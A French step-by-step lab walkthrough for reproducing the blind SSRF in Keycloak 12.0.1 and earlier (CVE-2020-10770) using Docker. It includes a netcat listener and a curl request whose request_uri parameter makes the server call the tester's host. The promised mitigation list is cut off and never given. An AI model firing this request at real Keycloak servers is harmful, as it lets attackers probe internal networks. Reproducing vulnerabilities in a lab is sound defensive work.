
Guide pas à pas pour reproduire la vulnérabilité SSRF aveugle de Keycloak (CVE-2020-10770) avec configuration Docker, configuration de l'écouteur et conseils d'atténuation.
Ceci est une procédure pas à pas expliquant comment tester la SSRF aveugle (CVE-2020-10770) découverte par Lauritz Holtmann et documentée dans son article de blog.
Il a également brièvement expliqué comment la tester. Ceci n'est qu'une explication plus détaillée.
Tout le crédit revient à Lauritz.
J'utilise Docker sur Mac OSX ici.
J'ai eu besoin de trois terminaux : un pour exécuter l'instance Keycloak, un pour l'écouteur et un pour la requête curl.
Vous avez besoin d'une instance Keycloak en cours d'exécution avec une version <= 12.0.1.
Vous pouvez démarrer une instance de test avec la commande suivante.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
Visitez http://localhost:8080/auth/admin/ dans un navigateur et connectez-vous avec le nom d'utilisateur "admin" et le mot de passe "admin".
Sur le côté gauche, passez au menu "Clients". Cela vous amènera à la vue d'ensemble des Clients.

Sur le côté droit, cliquez sur "Create" pour créer un nouveau client. Cela vous amènera à la page de création du client.

Choisissez un "Client ID" raisonnable pour votre client Oauth2. Je choisis "blueteamoauth2client" ici (c'est votre <Keycloak_Client_ID>). Si vous utilisez un autre Client ID, vous devrez modifier un paramètre de requête dans la requête HTTP d'attaque. Cliquez sur save pour finaliser la configuration du client.

Vous verrez maintenant les paramètres de notre nouveau client Oauth2.

C'est tout pour la partie défense.
Vous avez besoin d'un écouteur qui accepte la requête que nous voulons déclencher avec notre SSRF. L'adresse IP et le port doivent donc être accessibles depuis le serveur Keycloak.
Vous ne pouvez pas utiliser localhost dans ce cas, car du point de vue de Keycloak, localhost sera dans le conteneur lui-même.
Pour récupérer l'adresse IP sur Mac OS, vous pouvez utiliser
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
J'ai choisi de démarrer l'écouteur sur mon système hôte sur le port 4444.
nc -v -l 4444
Dans un autre terminal, vous devez effectuer une requête avec curl. Vous devez l'adapter à vos besoins.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
Les éléments importants sont :
Donc la requête dans mon cas est
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
Dans l'écouteur netcat, vous verrez quelque chose comme ceci.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
Cela signifie que l'instance Keycloak a effectué un appel HTTP vers votre écouteur.
Il y aura également des entrées à ce sujet dans les journaux Keycloak.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
Pour atténuer cela, vous pouvez soit :